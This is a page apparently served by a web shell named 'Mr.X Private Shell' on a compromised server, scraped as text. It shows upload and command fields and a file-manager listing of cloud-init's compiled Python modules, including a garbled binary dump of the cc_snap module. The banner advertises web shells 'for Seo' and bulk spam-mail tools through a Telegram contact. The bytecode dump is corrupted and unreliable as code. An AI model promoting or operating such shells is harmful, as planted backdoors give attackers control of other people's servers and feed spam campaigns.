__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[hl
�
���%SrSSKrSSKrSSKJrJr SSKJr SSKJ	r	 SSK
Jr SSKJ
r
 SSKJr \R "\5rS	S
/\
S/S.r\\S
'SrSrSrS\S\	S\S\SS4
Sjrg)z<Snap: Install, configure and manage snapd and snap packages.�N)�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE)�prepend_base_command�cc_snap�ubuntu�snap)�id�distros�	frequency�activate_by_schema_keys�metac���U(dg[RS5 [U[5(aUR	5nO-[U[
5(d[
SRUS95e[SU/nSRU5nUH+n[RSURS5SS	5 M- [R"XRS
55 [R"USS9 g)
a	Import list of assertions.

Import assertions by concatenating each assertion into a
string separated by a '\n'.  Write this string to a instance file and
then invoke `snap ack /path/to/file` and check for errors.
If snap exits 0, then all assertions are imported.
Nz'Importing user-provided snap assertionsz8assertion parameter was not a list or dict: {assertions})�
assertions�ack�
zSnap acking: %sr�zutf-8T)�capture)�LOG�debug�
isinstance�dict�values�list�	TypeError�format�SNAP_CMD�join�splitr�
write_file�encoder)r�assertions_file�snap_cmd�combined�asrts     �:/usr/lib/python3/dist-packages/cloudinit/config/cc_snap.py�add_assertionsr*s������I�I�7�8��*�d�#�#��&�&�(�
�
�
�D�
)�
)��F�M�M�%�
N�
�
�	
��%��1�H��y�y��$�H����	�	�#�T�Z�Z��%5�a��%:�;��	�O�O�O�_�_�W�%=�>��I�I�h��%�c��U(dg[RS5 [U[5(a.[	UR55VVs/sHupUPM	 nnnO-[U[5(d[SRUS95e[SU5n/nUH(n[U[5n[R"XVS9 M* U(a5SRUS9n[R"[U5 [!U5egs snnf![Ra%nUR[U55 SnAM�SnAff=f)	a4Run the provided commands provided in snap:commands configuration.

Commands are run individually. Any errors are collected and reported
after attempting all commands.

@param commands: A list or dict containing commands to run. Keys of a
    dict will be used to order the commands provided as dict values.
Nz#Running user-provided snap commandsz5commands parameter was not a list or dict: {commands})�commandsr)�shellz.Failures running snap commands:
{cmd_failures})�cmd_failures)rrrr�sorted�itemsrrrr	�strr�ProcessExecutionError�appendr�logexc�RuntimeError)	r-�_�v�fixed_snap_commandsr/�commandr.�e�msgs	         r)�run_commandsr=;s&�����I�I�3�4��(�D�!�!�"(����)9�":�;�":�$�!�A�":��;��
��$�
'�
'��C�J�J�!�
K�
�
�	
�/�v�x�@���L�&���7�C�(��	(��I�I�g�+�'��?�F�F�%�G�
��	
���C����3�����#<���)�)�	(�����A��'�'��	(�s�D�2D
�
E�!E�E�name�cfg�cloud�args�returnc�j�URS05nU(d[RSU5 g[R"U5 [URS/5[RRURR5S55 [URS/55 g)Nrz8Skipping module named %s, no 'snap' key in configurationrzsnapd.assertionsr-)�getrrr�wait_for_snap_seededr*�os�pathr!�paths�
get_ipath_curr=)r>r?r@rA�cfgins     r)�handlerKbs����G�G�F�B��E���	�	�F��	
�	����e�$��
�	�	�,��#�
�����U�[�[�.�.�0�2D�E������:�r�*�+r+)�__doc__�loggingrF�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�cloudinit.subpr	�	getLogger�__name__rr�__annotations__r r*r=r2rrK�r+r)�<module>rXs���
C��	� �!�#�.�+�/�
����!����z�� &�x�	��j����&�<$ �N,��,�6�,�%�,�t�,��,r+

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 208 B 0644
cc_ansible.cpython-313.pyc File 13.56 KB 0644
cc_apk_configure.cpython-313.pyc File 4.24 KB 0644
cc_apt_configure.cpython-313.pyc File 40.51 KB 0644
cc_apt_pipelining.cpython-313.pyc File 2.22 KB 0644
cc_bootcmd.cpython-313.pyc File 2.49 KB 0644
cc_byobu.cpython-313.pyc File 3.22 KB 0644
cc_ca_certs.cpython-313.pyc File 8.43 KB 0644
cc_chef.cpython-313.pyc File 13.83 KB 0644
cc_disable_ec2_metadata.cpython-313.pyc File 1.87 KB 0644
cc_disk_setup.cpython-313.pyc File 32.24 KB 0644
cc_fan.cpython-313.pyc File 2.97 KB 0644
cc_final_message.cpython-313.pyc File 3.59 KB 0644
cc_growpart.cpython-313.pyc File 23.64 KB 0644
cc_grub_dpkg.cpython-313.pyc File 5.97 KB 0644
cc_install_hotplug.cpython-313.pyc File 4.07 KB 0644
cc_keyboard.cpython-313.pyc File 1.86 KB 0644
cc_keys_to_console.cpython-313.pyc File 2.88 KB 0644
cc_landscape.cpython-313.pyc File 3.69 KB 0644
cc_locale.cpython-313.pyc File 1.57 KB 0644
cc_lxd.cpython-313.pyc File 15.8 KB 0644
cc_mcollective.cpython-313.pyc File 3.75 KB 0644
cc_mounts.cpython-313.pyc File 22.29 KB 0644
cc_ntp.cpython-313.pyc File 16.82 KB 0644
cc_package_update_upgrade_install.cpython-313.pyc File 5.19 KB 0644
cc_phone_home.cpython-313.pyc File 3.93 KB 0644
cc_power_state_change.cpython-313.pyc File 8.38 KB 0644
cc_puppet.cpython-313.pyc File 10.86 KB 0644
cc_reset_rmc.cpython-313.pyc File 5.26 KB 0644
cc_resizefs.cpython-313.pyc File 11.22 KB 0644
cc_resolv_conf.cpython-313.pyc File 3.49 KB 0644
cc_rh_subscription.cpython-313.pyc File 18.68 KB 0644
cc_rsyslog.cpython-313.pyc File 13.95 KB 0644
cc_runcmd.cpython-313.pyc File 1.77 KB 0644
cc_salt_minion.cpython-313.pyc File 4.9 KB 0644
cc_scripts_per_boot.cpython-313.pyc File 1.5 KB 0644
cc_scripts_per_instance.cpython-313.pyc File 1.51 KB 0644
cc_scripts_per_once.cpython-313.pyc File 1.49 KB 0644
cc_scripts_user.cpython-313.pyc File 1.47 KB 0644
cc_scripts_vendor.cpython-313.pyc File 1.63 KB 0644
cc_seed_random.cpython-313.pyc File 3.92 KB 0644
cc_set_hostname.cpython-313.pyc File 3.85 KB 0644
cc_set_passwords.cpython-313.pyc File 10.9 KB 0644
cc_snap.cpython-313.pyc File 4.79 KB 0644
cc_spacewalk.cpython-313.pyc File 3.37 KB 0644
cc_ssh.cpython-313.pyc File 11.57 KB 0644
cc_ssh_authkey_fingerprints.cpython-313.pyc File 5.25 KB 0644
cc_ssh_import_id.cpython-313.pyc File 5.2 KB 0644
cc_timezone.cpython-313.pyc File 1.35 KB 0644
cc_ubuntu_autoinstall.cpython-313.pyc File 1.81 KB 0644
cc_ubuntu_drivers.cpython-313.pyc File 5.34 KB 0644
cc_ubuntu_pro.cpython-313.pyc File 15.12 KB 0644
cc_update_etc_hosts.cpython-313.pyc File 2.77 KB 0644
cc_update_hostname.cpython-313.pyc File 2.49 KB 0644
cc_users_groups.cpython-313.pyc File 3.1 KB 0644
cc_wireguard.cpython-313.pyc File 9.03 KB 0644
cc_write_files.cpython-313.pyc File 6.27 KB 0644
cc_write_files_deferred.cpython-313.pyc File 1.82 KB 0644
cc_yum_add_repo.cpython-313.pyc File 5.27 KB 0644
cc_zypper_add_repo.cpython-313.pyc File 6.28 KB 0644
modules.cpython-313.pyc File 13.12 KB 0644
schema.cpython-313.pyc File 54.5 KB 0644
Filemanager